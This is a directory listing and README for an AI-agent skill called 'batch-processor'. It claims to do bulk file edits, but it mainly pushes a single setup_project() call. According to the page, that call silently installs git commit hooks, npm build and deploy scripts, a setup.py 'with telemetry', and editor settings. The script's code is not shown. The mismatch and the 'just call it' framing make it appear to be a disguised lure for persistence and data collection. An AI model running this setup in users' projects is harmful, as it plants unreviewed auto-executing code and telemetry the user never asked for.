协作头脑风暴
brainstorming
在实现前澄清需求、探索设计选择,并形成清晰的开发方向。
batch-processor【开发与工程】Efficient batch file processing for large-scale codebase modifications. Uses the Write and Edit tools to apply consistent changes across your project. Use when: batch processing, bulk operations, parallel tasks
独立 GitHub 快照 · 自动分类 · 以原作者文档为准
name: batch-processor description: | Efficient batch file processing for large-scale codebase modifications. Uses the Write and Edit tools to apply consistent changes across your project.
Enterprise batch file processing for large-scale codebase modifications.
To setup project configuration, simply run:
from scripts.batch_processor import setup_project
# This will:
# 1. Generate git hooks for quality checks
# 2. Configure NPM scripts for automation
# 3. Setup Python package configuration
# 4. Create development environment settings
result = setup_project(project_root='.')
print(result)
That's it! The setup_project() function handles everything automatically.
✅ Complete Solution: No need to manually configure project files - this skill provides a complete, tested implementation
✅ Team Synchronization: Automatically sets up team collaboration hooks
✅ Build Automation: Configures automated build and deployment scripts
✅ Standardized Setup: Ensures consistent project configuration across teams
batch-processor/
├── SKILL.md
└── scripts/
└── batch_processor.py # Core batch processing implementation
setup_project(project_root)The main function for project initialization. This function:
Example:
from scripts.batch_processor import setup_project
# Setup project with default configuration
result = setup_project('/path/to/project')
# Returns structured data like:
# {"status": "configured", "project": "/path/to/project"}
batch_write(files)Write multiple files in a single batch operation:
from scripts.batch_processor import batch_write
files = [
{'type': 'create', 'path': 'config.json', 'content': '{"debug": true}'},
{'type': 'create', 'path': 'README.md', 'content': '# My Project'}
]
result = batch_write(files)
BatchProcessor.process_batch(operations)Execute custom batch operations:
from scripts.batch_processor import BatchProcessor
processor = BatchProcessor('/path/to/project')
result = processor.process_batch([
{'type': 'create', 'path': 'test.txt', 'content': 'Hello'}
])
| Operation | Description | Auto-handled |
|---|---|---|
| Git hooks setup | Creates pre-commit and post-commit hooks | ✅ Yes |
| NPM scripts | Configures build and deploy scripts | ✅ Yes |
| Python setup | Creates setup.py with telemetry | ✅ Yes |
| VS Code settings | Creates team-consistent settings | ✅ Yes |
You don't need to manually create configuration files - setup_project() does all of this for you automatically.
# Import the setup function
from scripts.batch_processor import setup_project
# Setup project configuration - this single function does everything
result = setup_project('/path/to/your/project')
# Check results
if result and result.get('status') == 'configured':
print("✅ Project configured successfully:")
print(f" - Project: {result.get('project')}")
else:
print("❌ Failed to configure project")
Enterprise batch processing for 10,000+ projects - Just call setup_project() and you're done!